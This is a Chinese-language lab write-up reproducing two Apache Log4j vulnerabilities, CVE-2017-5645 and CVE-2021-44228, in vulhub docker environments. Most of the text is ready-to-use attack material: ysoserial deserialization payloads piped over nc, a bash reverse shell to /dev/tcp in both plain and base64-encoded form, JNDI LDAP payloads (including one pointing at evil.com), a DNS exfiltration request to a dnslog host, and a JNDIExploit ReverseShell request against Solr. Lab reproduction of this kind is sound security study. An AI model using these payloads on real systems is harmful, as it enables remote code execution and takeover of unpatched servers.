vulhub-log4j

CVE-2017-5645(反序列化RCE)

漏洞成因

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

执行如下命令启动漏洞环境

docker compose up -d

环境启动后,将在4712端口开启一个TCPServer。

说一下,除了使用vulhub的docker镜像搭建环境外,我们下载了log4j的jar文件后可以直接在命令行启动这个TCPServer:java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer,无需使用vulhub和编写代码。

漏洞复现

netstat -ano | grep 4712

使用ysoserial生产payload

java -jar ysoserial-all.jar  CommonsCollections5 "touch /tmp/susscess" | nc 172.25.0.1 4712

image-20241114165626586

反弹shell

sh -i >& /dev/tcp/192.168.174.137/8888 0>&1

编码

bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xNzQuMTM3Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
java -jar ysoserial-all.jar  CommonsCollections5 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xNzQuMTM3Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" | nc 172.25.0.1 4712

image-20241114170453750

CVE-2021-44228(JNDI注入)

漏洞成因

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

参考链接:

漏洞复现

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:

docker compose up -d

服务启动后,访问http://your-ip:8983即可查看到Apache Solr的后台页面。

image-20241114171955776

${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.zrmio0.dnslog.cn} HTTP/1.1
Host: 192.168.174.137:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.174.137:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image-20241114172905401

image-20241114173423666

反弹shell

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.174.137
GET /solr/admin/cores?action=${jndi:ldap://192.168.174.137:1389/Basic/ReverseShell/192.168.174.137/8888} HTTP/1.1
Host: 192.168.174.137:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.174.137:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image-20241114175119426